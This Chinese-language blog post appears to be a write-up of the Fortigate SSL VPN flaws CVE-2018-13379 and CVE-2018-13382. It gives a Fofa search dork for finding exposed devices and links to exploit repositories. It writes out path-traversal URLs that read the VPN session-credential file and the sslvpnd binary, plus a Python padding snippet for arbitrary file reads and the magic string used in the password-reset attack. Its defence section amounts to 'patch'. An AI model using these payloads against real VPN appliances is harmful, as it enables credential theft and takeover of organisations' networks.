1. 漏洞简介

Fortigate SSL VPN 在全球用户量巨大, 去年橘子哥发现了文件读取和远程代码执行漏洞

2. 影响组件

Fortigate SSL VPN

3. 漏洞指纹

Fortigate

4tinet2095866

4. Fofa Dork

"Fortigate" && port=10443

5. 漏洞分析

Orange: Attacking SSL VPN – Part 2: Breaking the Fortigate SSL VPN
https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html?m=1

6. 漏洞利用

密码读取

milo2012/CVE-2018-13379: CVE-2018-13379
https://github.com/milo2012/CVE-2018-13379

任意密码重置, 这肯定是个后门

milo2012/CVE-2018-13382: CVE-2018-13382
https://github.com/milo2012/CVE-2018-13382

7. 利用技巧

1.文件读取的路径构造

https://xxxxxx:10443/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession

如下padding可以构造出来任意文件读取, 可以读取其他文件, 注意这个系统好像没有/etc/passwd

print("/../../../../"+(raw_input().rjust(35, '/')))

2.寻找魔术数字

虽然当时橘子哥没有公开魔术数字, 但是当时随手分析了一下下面这个启动文件, 搜索一下magic就找到 4tinet2095866,

https://xxxxxxxx:10443/remote/fgt_lang?lang=/../../../../////////////////////////bin/sslvpnd

后来发现这个字符串在js里面也有, 直接从前台分析也可以获得

https://xxxxx:10443/sslvpn/js/login.js?q=5f9a6877fd1f78da768239aae6e739c2

8. 防护方法

1.及时更新补丁

2.升级到最新版

标签: none

添加新评论